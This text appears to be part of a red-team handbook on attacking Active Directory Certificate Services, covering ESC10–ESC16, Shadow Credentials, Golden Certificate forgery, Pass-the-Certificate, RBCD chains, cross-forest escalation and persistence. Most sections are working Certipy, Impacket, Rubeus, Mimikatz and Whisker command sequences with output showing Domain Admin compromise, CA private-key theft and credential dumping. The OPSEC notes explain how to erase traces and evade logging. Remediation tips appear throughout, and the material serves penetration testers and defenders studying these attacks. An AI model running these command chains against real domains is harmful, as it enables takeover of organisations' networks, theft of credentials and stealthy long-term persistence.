RTG OPSEC

ESC9 requires CT_FLAG_NO_SECURITY_EXTENSION on the template AND GenericWrite on a target account. The UPN change window is brief — victim may notice if they try to log in during those seconds. Always restore the UPN immediately after the cert request (Step 3) to minimize detection. Differs from ESC16: ESC9 is per-template; ESC16 disables security extension for the entire CA.

14

ESC10 — WEAK CERTIFICATE MAPPING

Disabled StrongCertificateBindingEnforcement → UPN/SAM Spoofing

ESC10 exploits environments where the StrongCertificateBindingEnforcement registry key is set to 0 (disabled) on Domain Controllers — a state many organizations configured after Microsoft's May 2022 patches caused authentication breakage. When disabled, Windows uses only the weak UPN/SAM name mapping for certificate authentication — no SID binding — allowing certificate UPN spoofing via the same GenericWrite + UPN manipulation technique as ESC9, but applicable to ANY certificate template.

StrongCertificateBindingEnforcement Value	Behavior	Exploitation
0 (Disabled)	Weak mapping only — UPN/SAM name match	Full UPN spoofing possible — ESC10
1 (Compatibility — default post-patch)	Logs weak mapping but allows it	Possible with warning events
2 (Enforced)	Requires SID extension — strong binding only	ESC9/ESC10 not exploitable

ESC10 — Check & Exploit

```

attacker@kali:~/adcs - ESC10

# Check StrongCertificateBindingEnforcement on DC (requires access)
PS C:\DC> reg query 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc' /v StrongCertificateBindingEnforcement
StrongCertificateBindingEnforcement    REG_DWORD    0x0
[!] Value = 0 - WEAK MAPPING ONLY - ESC10 exploitable

# ESC10 Variant 1: GenericWrite on low-priv account → spoof via UPN change
# (identical technique to ESC9 but works on ANY Client Auth template)
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim -upn administrator
$ certipy req -u victim@corp.local -p 'victimpass' -dc-ip 10.10.10.10 \
  -ca corp-CA -template User
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim -upn victim@corp.local
$ certipy auth -pfx victim.pfx -domain corp.local -dc-ip 10.10.10.10
[+] NT hash for administrator: aad3b...:8846f7eae8fb117ad06bdd830b7586c

# ESC10 Variant 2: GenericWrite on computer account → spoof via sAMAccountName change
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim-pc$ -sam Administrator
$ certipy req -u victim-pc$@corp.local -hashes ':<machineHash>' -dc-ip 10.10.10.10 \
  -ca corp-CA -template Machine
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim-pc$ -sam victim-pc$
$ certipy auth -pfx victim-pc.pfx -domain corp.local -dc-ip 10.10.10.10
[+] NT hash for Administrator mapped via sAMAccountName: aad3b...:8846f7...
```

Figure: ESC10 — weak cert mapping (reg=0) enables UPN and SAM name spoofing via GenericWrite

RTG WARNING

ESC10 Variant 2 via sAMAccountName is particularly powerful — machine account certs are common. Many orgs set StrongCertificateBindingEnforcement=0 post-May 2022 to 'fix auth issues' — leaving ESC10 open. Remediation: set StrongCertificateBindingEnforcement=2 AND apply KB5014754. Test impact before enforcing — some legacy systems break with strong binding (expected, must be fixed).

15

ESC11 — NTLM RELAY TO ICPR (RPC RELAY)

ESC8's RPC Sibling — Relay to ICertPassage Without Encryption

ESC11 is the RPC-based sibling of ESC8. Instead of relaying NTLM to an HTTP Web Enrollment endpoint, ESC11 relays to the ICertPassage RPC interface (MS-WCCE) which handles certificate requests over RPC/DCOM. When the CA is not configured to require RPC encryption (HKLM\...\InterfaceFlags not having IF_ENFORCEENCRYPTICERTREQUEST), NTLM authentication to this interface can be relayed from any coerced machine, producing a certificate for the relayed identity.

Component	ESC8 (HTTP)	ESC11 (RPC)
Endpoint	certsrv HTTP / CES HTTPS endpoint	ICertPassage RPC / DCOM (port 135 + dynamic)
Requirement	HTTP endpoint without HTTPS+EPA	RPC interface without IF_ENFORCEENCRYPTICERTREQUEST
Detection	HTTP logs, proxy logs	RPC/DCOM logs — harder to detect
Tool	ntlmrelayx --adcs	Certipy relay (built-in)
Prevalence	Very common	Common — RPC encryption often not enforced

ESC11 Attack — Certipy Relay Mode

```

attacker@kali:~/adcs - ESC11 RPC Relay

# Check if RPC encryption is enforced on CA
PS C:\CA> reg query 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\corp-CA' /v InterfaceFlag
InterfaceFlags    REG_DWORD    0x0
[!] IF_ENFORCEENCRYPTICERTREQUEST NOT set - vulnerable to ESC11

# Terminal 1: Start Certipy relay targeting CA RPC interface
$ certipy relay -target rpc://ca.corp.local -ca corp-CA -template DomainController

[*] Targeting RPC: rpc://ca.corp.local
[*] Listening for NTLM auth on port 445 (SMB) and 80 (HTTP)

# Terminal 2: Coerce DC authentication (same techniques as ESC8)
$ python3 Coerce.py -u john -p 'Password123' -d corp.local \
  -listener 10.10.10.5 -target 10.10.10.10

# Certipy relay catches and relays to RPC
[*] Connection from CORP/DC$@10.10.10.10
[*] Relaying to RPC://ca.corp.local
[*] Requesting certificate via ICertPassage RPC
[+] Got certificate for 'DC$@corp.local'
[+] Saved to 'DC$.pfx'

# Same post-exploitation as ESC8
$ certipy auth -pfx DC$.pfx -dc-ip 10.10.10.10
[+] Got TGT + hash for DC$@corp.local → proceed with DCSync

```

Figure: ESC11 — Certipy relay to ICertPassage RPC interface; coerced DC\$ auth → cert → DCSync

RTG NOTE

ESC11 is harder to detect than ESC8 — RPC traffic is less monitored than HTTP in most environments. Certipy 4.0+ has built-in relay mode for ESC11 — no need for separate ntlmrelayx. Remediation: set IF_ENFORCEENCRYPTICERTREQUEST via certutil or CA Properties → Enrollment Agents. Coercion techniques are identical to ESC8 — if you can coerce, you can exploit ESC11.

16

ESC14 — WRITE ACCESS ON ALTSECURITYIDENTITIES

Explicit Certificate-to-Account Mapping Abuse

ESC14 abuses the altSecurityIdentities attribute — an AD attribute that allows explicit certificate-to-account mappings. If you have GenericWrite on any AD account, you can add an entry to its altSecurityIdentities attribute that maps a certificate you control to that account. When that certificate is presented for authentication, Windows looks up the altSecurityIdentities mapping and authenticates as the target account — even if the cert was issued for a completely different identity.

ESC14 — altSecurityIdentities Mapping Formats

Mapping Type	Format	Example
X509IssuerSerialNumber	X509:<I>IssuerDN<SR>SerialNumber	X509:<I>CN=corp-CA<SR>1a2b3c4d
X509SubjectOnly	X509:<S>SubjectDN	X509:<S>CN=john,DC=corp,DC=local
X509RFC822	X509:<RFC822>email	X509:<RFC822>john@corp.local
X509IssuerSubject	X509:<I>IssuerDN<S>SubjectDN	X509:<I>CN=corp-CA<S>CN=john

ESC14 Attack — Certipy (Linux)

```

attacker@kali:~/adcs - ESC14

# Precondition: GenericWrite on 'administrator' account (or any high-priv account)

# Step 1: Request a cert for yourself (john)
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template User
[+] Saved certificate to 'john.pfx'

# Step 2: Get cert details (issuer + serial number for mapping string)
$ certipy cert -pfx john.pfx -noout -text | grep -E 'Issuer|Serial'
Issuer: CN=corp-CA, DC=corp, DC=local
Serial Number: 1A:2B:3C:4D:5E:6F:70:71

# Step 3: Build altSecurityIdentities mapping string
# Format: X509:<I>CN=corp-CA,DC=corp,DC=local<SR>1A2B3C4D5E6F7071

# Step 4: Add mapping to target account (administrator) using GenericWrite
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user administrator \
  -alt-security-identities 'X509:<I>CN=corp-CA,DC=corp,DC=local<SR>712B3C4D5E6F7071'
[+] Updated altSecurityIdentities on 'administrator'

# Step 5: Authenticate using john's cert — maps to administrator
$ certipy auth -pfx john.pfx -domain corp.local -dc-ip 10.10.10.10
[*] Performing PKINIT authentication for mapped account
[+] Got TGT for administrator@corp.local
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c

# Cleanup: remove the mapping after exploitation (OPSEC)
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user administrator -alt-security-identities ''
# ... (1 more lines) ...

```

Figure: ESC14 — add attacker cert mapping to altSecurityIdentities of administrator; authenticate as DA



RTG OPSEC

ESC14 is extremely stealthy — the cert request is normal; only the altSecurityIdentities change is suspicious.
Clean up the mapping immediately after exploitation — the attribute change is logged (Event ID 5136).
GenericWrite on ANY high-privilege account (DA, EA, Schema Admin) is an ESC14 path.
BloodHound shows GenericWrite edges — these are all potential ESC14 paths when ADCS is present.

17

ESC15 — APPLICATION POLICY INJECTION

CVE-2024-49019 — Schema v1 Template Exploitation

ESC15, disclosed as CVE-2024-49019 in November 2024, targets certificate templates with schema version 1 that allow the enrollee to supply the subject (ENROLLEE_SUPPLIES_SUBJECT). In schema v1 templates, the enrollee can inject Application Policy OIDs — including Client Authentication — even if the template's own EKU doesn't include it. This bypasses the template's intended EKU restrictions entirely. Default templates like 'WebServer' are often affected.

ESC15 — Detection & Exploitation

```
attacker@kali:~/adcs - ESC15 (CVE-2024-49019)

# Find ESC15 vulnerable templates (schema v1 + ENROLLEE_SUPPLIES_SUBJECT)
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10

[!] Template 'WebServer' - Vulnerable to ESC15 (CVE-2024-49019)
  Schema Version           : 1
  msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
  pkiextendedkeyusage       : Server Authentication (NOT Client Auth - should be safe)
  Enrollment Rights         : CORP\Domain Users

# Exploit: inject Client Auth application policy OID during request
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template WebServer -upn administrator@corp.local \
  -application-policies 'Client Authentication'

[*] Requesting certificate via RPC
[*] Injecting Application Policy OID: 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] Schema v1 template - application policy injection accepted by CA
[+] Successfully requested certificate
[+] Saved certificate and private key to 'administrator.pfx'

# PKINIT auth
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] Got TGT for administrator@corp.local
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c
```

Figure: ESC15 — inject Client Auth EKU via Application Policy in schema v1 WebServer template

CRITICAL

ESC15 affects default templates like 'WebServer' and 'SubCA' that use schema version 1.
Patch: KB5044976 (Nov 2024 Patch Tuesday) for Windows Server 2019/2022.
Migration path: upgrade all schema v1 templates to v2 or v3 to permanently remove surface.
Certipy 4.8+ required for ESC15 detection and exploitation with -application-policies flag.

18

ESC16 — SECURITY EXTENSION DISABLED ON CA GLOBALLY

2024 Research — CA-Level szOID_NTDS_CA_SECURITY_EXT Disabled

ESC16 is a 2024 attack class targeting CAs where the szOID_NTDS_CA_SECURITY_EXT security extension (OID 1.3.6.1.4.1.311.25.2) is disabled at the CA level — not per-template like ESC9, but for the ENTIRE CA globally. This extension normally embeds the requester's SID in every issued certificate, binding the cert to the issuing account. When disabled, every certificate issued by that CA lacks SID binding, making the entire CA's output exploitable via UPN spoofing — identical to ESC9 but at enterprise-wide scale.

Property	ESC9 (Per-Template)	ESC16 (CA-Wide)
Scope	Affects only templates with CT_FLAG_NO_SECURITY_EXTENSION	Affects ALL templates on the CA
Config location	msPKI-Enrollment-Flag on template object	DisableExtensionList on CA registry / AD object
Certipy detection	Listed as ESC9 in template output	Listed as ESC16 in CA output
Impact	Requires finding specific vulnerable template	Any enrollable template on that CA is exploitable
Prevalence	Moderate	Increasing — some vendors disable this extension for compatibility

ESC16 Detection & Exploitation

```

attacker@kali:~/adcs - ESC16 (CA-Wide Security Extension Disabled)

# Certipy detects ESC16 at the CA level
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10

[!] CA 'corp-CA' is vulnerable to ESC16
    szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) is DISABLED on this CA
    All certificates issued by this CA lack SID binding
    Any enrollable template becomes ESC9-equivalent

# Verify via certutil
PS C:\CA> certutil -getreg CA\DisableExtensionList
1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT) [DISABLED]

# Exploit: same UPN manipulation as ESC9 but on ANY template
# Step 1: Change victim UPN to administrator
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -user victim -upn administrator
[+] Updated UPN to 'administrator'

# Step 2: Request cert using any enrollable template (e.g., basic 'User')
$ certipy req -u victim@corp.local -p 'victimpass' -dc-ip 10.10.10.10 \
    -ca corp-CA -template User
[+] Saved certificate to 'victim.pfx'
[*] No szOID_NTDS_CA_SECURITY_EXT in certificate - SID binding absent

# Step 3: Restore UPN immediately
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -user victim -upn victim@corp.local
[+] UPN restored

# Step 4: Authenticate - no SID check, UPN maps to administrator
# ... (8 more lines) ...

```

Figure: ESC16 — entire CA has security extension disabled; UPN spoofing works on ALL templates issued by it



CRITICAL

ESC16 = ESC9 at CA scale — if ESC16 present, every enrollable template on that CA is a weapon.

Some third-party PKI tools and managed CA services disable this extension for 'compatibility'.

Remediation: re-enable szOID_NTDS_CA_SECURITY_EXT and combine with StrongCertificateBindingEnforcement=2.

Certipy 4.8+ is required for ESC16 detection — update your tooling before engagements.

◆ 18b ESC12 — ADCS ACCOUNT PERSISTENCE

Shell Access via Certificate Mapping + UnPAC-the-Hash

ESC12 covers scenarios where you possess a certificate for a non-interactive account (machine account, service account, gMSA) and need to recover its NT hash without having the password. Using PKINIT Kerberos pre-authentication, the TGT response contains a PAC with the account NT hash encrypted in the AS-REP key. UnPAC-the-Hash decrypts this to recover the NT hash — enabling lateral movement even for accounts with no interactive logon rights.

ESC12 — UnPAC-the-Hash via PKINIT

```

attacker@kali:~/adcs - ESC12 UnPAC-the-Hash

# ESC12: when you have a cert for a non-interactive account, use UnPAC-the-Hash
# This recovers the account NT hash from the PAC embedded in the PKINIT TGT

# Scenario: obtained machine cert for SVC-BACKUP$ account (non-interactive)
# Standard auth would fail — but UnPAC-the-Hash works via PKINIT

# Method 1: Certipy auth with -ldap-shell for accounts without logon rights
$ certipy auth -pfx svc_backup.pfx -dc-ip 10.10.10.10 -ldap-shell

[*] Connecting to LDAP
[+] Authenticated as svc_backupcorp.local via PKINIT
[*] NT hash via UnPAC-the-Hash: 4d2a6a5b3c1e7f8a9b0c1d2e3f4a5b6c
Certipy LDAP Shell>

# Method 2: PKINITtools — full UnPAC-the-Hash toolkit
$ python3 gettgtpkinit.py -cert-pfx svc_backup.pfx corp.local/svc_backup$ svc.ccache
[+] AS-REQ (w/ PKINIT) successful, saved TGT to svc.ccache

$ export KRB5CCNAME=svc.ccache
$ python3 getnthash.py -key <AS-REP-key> corp.local/svc_backup$
[+] Got hash: 4d2a6a5b3c1e7f8a9b0c1d2e3f4a5b6c

# Method 3: Rubeus on Windows — UnPAC-the-Hash
PS C:\> .\Rubeus.exe asktgt /user:svc_backup$ /certificate:svc_backup.pfx /getcredentials
[*] PKINIT: AS-REQ with certificate
[+] NT: 4d2a6a5b3c1e7f8a9b0c1d2e3f4a5b6c

# Now use hash for lateral movement even for accounts with no interactive logon
$ impacket-wmiexec corp.local/svc_backup10.10.10.20 -hashes ':4d2a6a5b3c1e7f8a9b0c1d2e3f4a5b6c'

```

Figure: ESC12 — PKINIT-based UnPAC-the-Hash extracts NT hash from any account with a valid certificate

RTG NOTE

UnPAC-the-Hash works on ANY account with a valid cert — including machine/service accounts. Particularly useful post-ESC3 (Enrollment Agent) when you enroll certs for service accounts. PKINITtools (dirkjanm) is the reference Linux toolkit for this technique. Rubeus /getcredentials flag does the same thing on Windows in one step.

18c

ESC13 — ISSUANCE POLICY OID GROUP LINK

Certificate Policy OID Grants Privileged Group Membership

ESC13 exploits the linkage between Certificate Policy OIDs and AD groups via the msDS-OIDToGroupLink attribute. When a certificate template has an Issuance Policy OID that is linked to a privileged AD group (like Domain Admins), the holder of a certificate with that policy OID is treated as a member of that group during Kerberos authentication. This allows a low-privileged user who can enroll for that template to obtain group membership — including Domain Admin — purely through certificate issuance.

Component	Description	Attacker Relevance
Issuance Policy OID	OID embedded in certificate during issuance	Links cert to AD group via msDS-OIDToGroupLink
msDS-OIDToGroupLink	Attribute on OID object linking to AD group	Maps cert holder to privileged group
msPKI-Certificate-Policy	Template attribute specifying which OIDs to embed	Must match the linked OID
Universal Group requirement	Linked group must be Universal scope	Check group type — non-Universal groups don't work

ESC13 — Detection & Exploitation

```
attacker@kali:~/adcs - ESC13 OID Group Link

# Certipy 4.8+ detects ESC13 in find output
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10

[!] Template 'SecureAccessPolicy' - Vulnerable to ESC13
    Issuance Policy: 1.3.6.1.4.1.311.21.8.8.12345 (linked to 'Domain Admins')
    Enrollment Rights: CORP Domain Users
    msPKI-Certificate-Policy: 1.3.6.1.4.1.311.21.8.8.12345

# Verify the OID to Group Link manually
# Verify the OID-to-Group Link in AD
$ ldapsearch -x -H ldap://dc.corp.local -D john@corp.local -w Pass123 \
  -b CN=OID,CN=Public Key Services,... (msDS-OIDToGroupLink=*)
msDS-OIDToGroupLink: CN=Domain Admins,CN=Users,DC=corp,DC=local

# Exploit: enroll for the template (standard request - no SAN needed)
# Exploit: standard enroll for the template (no SAN needed)
$ certipy req -u john@corp.local -p Password123 -dc-ip 10.10.10.10 \
[+] Saved certificate to 'john_policy.pfx'

# Auth: Kerberos will add Domain Admins group membership via OID link
$ certipy auth -pfx john_policy.pfx -dc-ip 10.10.10.10
[+] Got TGT for john@corp.local
[+] TGT includes Domain Admins membership via OID-linked policy

# Verify DA membership in TGT
$ export KRB5CCNAME=john.ccache
$ impacket-smbclient -k -no-pass corp.local/john@dc.corp.local
[+] DC shares accessible - Domain Admin group membership confirmed via ESC13
```

Figure: ESC13 — certificate enrollment grants Domain Admin group membership via Issuance Policy OID link

CRITICAL

ESC13 requires NO credential theft — the cert itself IS the group membership token.
Linked group MUST be Universal scope — check this before spending time enumerating.
Rarely found but extremely impactful when present — a cert enrollment = DA with zero creds.
Certipy 4.8+ fully automates ESC13 detection — run with latest version.

19

SHADOW CREDENTIALS

Key Credential Link Abuse — Passwordless Account Takeover

Shadow Credentials abuse the msDS-KeyCredentialLink attribute supporting Windows Hello for Business (WHfB). If you have GenericWrite on any user or computer account, you can add a Key Credential (cert key pair) to their msDS-KeyCredentialLink. Then authenticate via PKINIT as that account — full takeover with no password change required. Targeting DC\$ leads to DCSync.

Shadow Credentials — Certipy (Linux)

```
attacker@kali:~/adcs - Shadow Credentials

# Auto mode — add, auth, print hash, clean up
$ certipy shadow auto -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 -account victim

[*] Generating certificate and Key Credential
[+] Key Credential added to 'victim' (DeviceID: 4d1abc...)
[+] Got TGT for victim@corp.local
[+] NT hash: 92937945b518814341de3f726500d4ff

# Target DC computer account → DCSync
$ certipy shadow auto -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 -account DC$
[+] NT hash of DC$: 3e2ec9d2cdaba354c5fb5db2b4c79ee4

$ impacket-secretsdump corp.local/'DC$'@dc.corp.local -hashes ':3e2ec9d2cdaba354c5fb5db2b4c79ee4'
[+] Administrator:500:aad3b...:8846f7eaae8fb117ad06bdd830b7586c:::
```

Figure: Shadow Credentials auto mode — GenericWrite on DC\$ account leads to full domain compromise via DCSync

Shadow Credentials — Whisker (Windows)

```
CORP\john@WIN10 - Whisker + Rubeus

PS C:\> .\Whisker.exe add /target:victim /domain:corp.local /dc:dc.corp.local /path:C:\Temp\victim.pfx /pas

[*] New KeyCredential created with DeviceID 4d1a...
[+] Run the following to authenticate:
    .\Rubeus.exe asktgt /user:victim /certificate:victim.pfx /password:P@ssw0rd /domain:corp.local /getcred

PS C:\> .\Rubeus.exe asktgt /user:victim /certificate:victim.pfx /password:P@ssw0rd /domain:corp.local /get
[+] TGT obtained
[+] NTLM: 92937945b518814341de3f726500d4ff
```

Figure: Shadow Credentials on Windows — Whisker adds KeyCredentialLink; Rubeus PKINIT authenticates

RTG OPSEC

Shadow Credentials require WHfB or Device Registration Service to be enabled on the domain. BloodHound shows 'AddKeyCredentialLink' edge — THIS is the Shadow Credentials attack path. GenericWrite on a DC = instant DCSync path via Shadow Credentials. Clean up: certipy shadow clear -u USER -p PASS -dc-ip DC -account TARGET removes added creds.

20

GOLDEN CERTIFICATE

Forging Certs with Stolen CA Key — Persistent DA Forever

The Golden Certificate attack extracts the CA's private key, then uses it to forge certificates offline for ANY identity. These forged certs are signed by the legitimate CA and trusted by all domain systems. Persistence survives password resets, account disables, and domain-wide password rotations — for as long as the CA certificate is valid (typically 5-10 years).

Step 1 — Extract CA Private Key (3 Methods)

```
attacker@kali:~/adcs - Golden Cert Step 1 (3 Methods)

# Method 1: Certipy CA backup (requires CA Admin on CA server - remote)
$ certipy ca -u administrator@corp.local -hashes ':8846f7eaae8fb117ad06bdd830b7586c' \
  -dc-ip 10.10.10.10 -ca corp-CA -backup
[+] Backup saved to 'corp-CA.pfx' (password: certipy)

# Method 2: SharpDPAPI - extract from CA server machine DPAPI/CAPI store (local admin)
PS C:\CA> .\SharpDPAPI.exe certificates /machine
[*] Searching for machine certificates in CAPI store
[*] Found certificate: corp-CA (Exportable: True)
[+] -----BEGIN CERTIFICATE-----
MIIFqDCCBJCgAwIBAgITUgAAAA...
[+] -----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
[+] Save output to corp-CA.pem, convert: openssl pkcs12 -in cert.pem -export -out corp-CA.pfx

# Method 3: Mimikatz crypto module on CA server
PS C:\CA> mimikatz.exe
mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export
[+] corp-CA.pfx exported to disk

# Verify extracted CA cert
$ openssl pkcs12 -in corp-CA.pfx -passin pass:mimikatz -nokeys | openssl x509 -noout -subject
subject=CN = corp-CA, DC = corp, DC = local
```

Figure: CA private key extraction — Certipy remote backup, SharpDPAPI local CAPI extraction, Mimikatz crypto

Step 2 — Forge & Use

```
attacker@kali:~/adcs - Golden Cert Forge

# Forge cert for Domain Admin
$ certipy forge -ca-pfx corp-CA.pfx -upn administrator@corp.local
[+] Saved forged certificate to 'administrator_forged.pfx'

# Auth with forged cert
$ certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.10
[+] Got TGT for administrator@corp.local
[+] NT hash: aad3b...:8846f7eaae8fb117ad06bdd830b7586c

# Forged certs don't appear in CA issuance logs - signed offline
# Persistence valid for CA cert lifetime (5-10 years typically)
[+] Golden Certificate operational - persistent domain access established
```

Figure: Golden Certificate — offline cert forgery with stolen CA key; no CA logs, valid for years



CRITICAL

Golden Cert survives ALL password resets — only CA certificate revocation or rotation stops it.
Forged certs never appear in CA issuance logs — signed entirely offline with stolen private key.
Defense: HSM-backed CA keys prevent private key extraction entirely.
Incident response: if CA key is stolen, the ENTIRE CA must be revoked and rebuilt.

◆ 21

PASS-THE-CERTIFICATE

PKINIT → TGT → Full Lateral Movement Chain

Pass-The-Certificate is the technique of using any obtained certificate for PKINIT Kerberos pre-authentication to receive a TGT, extract the NT hash, and use it for lateral movement. Combined with S4U2Self on machine account certs, you can obtain Service Tickets for any service as any user.

Pass-The-Certificate — Certipy + Impacket

```
attacker@kali:~/adcs - Pass-The-Certificate

# Standard PKINIT auth - cert to TGT + hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] Got TGT saved to administrator.ccache
[+] NT hash: 8846f7eaae8fb117ad06bdd830b7586c

# Use ccache for lateral movement
$ export KRB5CCNAME=administrator.ccache
$ impacket-psexec -k -no-pass corp.local/administrator@dc.corp.local
Microsoft Windows [Version 10.0.20348.2340]
C:\Windows\system32>

# Rubeus - inject TGT into Windows session
PS C:\> .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /ptt
[+] Ticket successfully imported!
PS C:\> dir \\dc.corp.local\C$
[+] Domain Admin access confirmed via Pass-The-Certificate
```

Figure: Pass-The-Certificate — cert to TGT to PSEXec on DC; Rubeus PKINIT inject on Windows

21b ADCS + RBCD COMBO CHAIN

Machine Cert → RBCD → S4U2Self → Service Ticket → DA

The ADCS + RBCD (Resource-Based Constrained Delegation) combo is one of the most powerful privilege escalation chains in Active Directory. When you obtain a machine account certificate (via ESC1, ESC8 relay, or Shadow Credentials on a computer account), you can combine it with RBCD to impersonate a Domain Admin on any service on that machine — including CIFS/SMB — giving you full administrative access without ever needing the DA password.

Step	Action	Tool	Outcome
1	Obtain machine account cert (ESC1/ESC8/Shadow Creds)	Certipy / ntlmrelayx	machine\$.pfx
2	PKINIT auth with machine cert → TGT for machine\$	Certipy auth	machine\$.ccache + NT hash
3	Create attacker-controlled computer account (MachineAccountQuota > 0)	impacket-addcomputer	ATTACKER\$ account
4	Write RBCD on target machine: allow ATTACKER\$ to delegate to it	impacket-rbcd	msDS-AllowedToActOnBehalfOfOtherIdentity set
5	S4U2Self: get TGS as Domain Admin for CIFS on target	impacket-getST	Admin TGS for CIFS
6	Use TGS to access target machine shares/PSEXec	impacket-smbclient/psexec	Full machine admin

ADCS + RBCD Full Chain — Linux

```

attacker@kali:~/adcs - ADCS + RBCD Combo Chain

# Step 1: Obtain machine cert via ESC8 relay (already have DC$.pfx from ESC8)
# OR via ESC1 targeting machine template:
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template Machine -upn DCcorp.local
[+] Saved certificate to 'DC$.pfx'

# Step 2: PKINIT with machine cert
$ certipy auth -pfx DC$.pfx -dc-ip 10.10.10.10
[+] Got TGT for DCcorp.local
[+] NT hash of DC$: 3e2ec9d2cdaba354c5fb5db2b4c79ee4

# Step 3: Create attacker-controlled machine account (needs MachineAccountQuota > 0)
$ impacket-addcomputer corp.local/john:'Password123' -method LDAPS \
  -computer-name 'ATTACKER$' -computer-pass 'AttPass123!' -dc-ip 10.10.10.10
[+] Successfully added machine account ATTACKER$

# Step 4: Write RBCD — allow ATTACKER$ to delegate to target (WORKSTATION$)
$ impacket-rbcd corp.local/john:'Password123' -action write \
  -delegate-from 'ATTACKER$' -delegate-to 'WORKSTATION$' -dc-ip 10.10.10.10
[+] Delegation rights set: ATTACKER$ -> WORKSTATION$

# Step 5: S4U2Self + S4U2Proxy to get TGS as administrator for CIFS/WORKSTATION$
$ impacket-getST corp.local/ATTACKER$:'AttPass123!' -spn CIFS/workstation.corp.local \
  -impersonate administrator -dc-ip 10.10.10.10
[+] Saving ticket in administrator.ccache

# Step 6: Access target machine as Domain Admin
$ export KRB5CCNAME=administrator.ccache
$ impacket-smbclient -k -no-pass corp.local/administrator@workstation.corp.local
[+] Type help for list of commands
# ... (1 more lines) ...

```

Figure: ADCS + RBCD full chain — machine cert via ESC8 → PKINIT → RBCD write → S4U2Self → admin TGS on target host



RTG OPSEC

RBCD combo requires MachineAccountQuota > 0 (default is 10 in AD) OR GenericWrite on existing machine account.
If MachineAccountQuota = 0, use Shadow Credentials or existing compromised machine account for Step 3.
The entire chain from ESC8 relay to full machine admin can execute in under 5 minutes.
RBCD is detected via Event 5136 (msDS-AllowedToActOnBehalfOfOtherIdentity changed) — clean up after use.

◆ 22

CROSS-FOREST ATTACKS

ADCS Privilege Escalation Across Trust Boundaries

AD CS is a powerful cross-forest escalation vector. When Enterprise CA templates are accessible to users in trusted domains, ESC1/ESC2/ESC3 attacks can produce certificates for identities in the trusting domain — including Domain Admin or Enterprise Admin.

Cross-Forest ESC1 — Child to Parent

```
attacker@kali:~/adcs - Cross-Forest ESC1

# Find if parent CA templates are enrollable from child domain
$ certipy find -u child_john@child.corp.local -p 'Password123' \
  -dc-ip 10.10.20.10 -target parent.corp.local
[!] Template 'ParentUserAuth' on parent CA enrollable by CHILD\Domain Users
    ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU

# Request cert with parent DA UPN
$ certipy req -u child_john@child.corp.local -p 'Password123' \
  -dc-ip 10.10.20.10 -ca parent-CA -template ParentUserAuth \
  -upn administrator@parent.corp.local
[+] Saved certificate to 'parent_admin.pfx'

# Auth against parent DC
$ certipy auth -pfx parent_admin.pfx -dc-ip 10.10.10.10 -domain parent.corp.local
[+] Cross-forest privilege escalation complete — parent domain DA obtained
```

Figure: Cross-forest ADCS attack — child domain user escalates to parent domain DA via ESC1

23

POST-EXPLOITATION — PERSISTENCE VIA ADCS

Long-Term Stealth Persistence Using Certificates

Technique	Method	Persistence Duration	IR Survivability
Machine Cert Enrollment	Enroll cert as DA — cert survives password reset	Until cert expires (1-2yr)	High
Golden Certificate	Steal CA key, forge certs offline	CA cert lifetime (5-10yr)	Very High
Shadow Credentials	Add KeyCredentialLink to privileged account	Until attr removed	High
Rogue Sub-CA	Create sub-CA trusted by parent CA	Until revoked from PKI	Extreme
Template Backdoor	ESC4 — modify on-demand, restore after	On-demand — indefinite	Very High
altSecurityIdentities	ESC14 — map your cert to DA account	Until attr removed	High

```

attacker@kali:~/adcs — Persistence

# Request long-lived cert as DA (survives password resets)
$ certipy req -u administrator@corp.local -hashes ':8846f7eaae8fb117ad06bdd830b7586c' \
  -dc-ip 10.10.10.10 -ca corp-CA -template Machine
[+] Saved to 'persistence_machine.pfx'

# Shadow Credential on DA account for ongoing access
$ certipy shadow add -u administrator@corp.local -hashes ':8846f7eaae8fb117ad06bdd830b7586c' \
  -dc-ip 10.10.10.10 -account administrator
[+] Key Credential added — use shadow cert anytime for re-access

# Later — regain access with shadow cert (no password needed)
$ certipy auth -pfx administrator_shadow.pfx -dc-ip 10.10.10.10
[+] Got TGT and NT hash for administrator@corp.local

```

Figure: ADCS persistence — machine cert + shadow credentials survive full credential rotation

◆ 24

OPSEC — STAYING UNDER THE RADAR

Red Team Tradecraft for ADCS Attacks

- ◆ Run 'certipy find' before any action — enumerate first, attack second, never blind-fire
- ◆ Route Certipy requests through a compromised Windows host to avoid Linux UA strings in CA logs
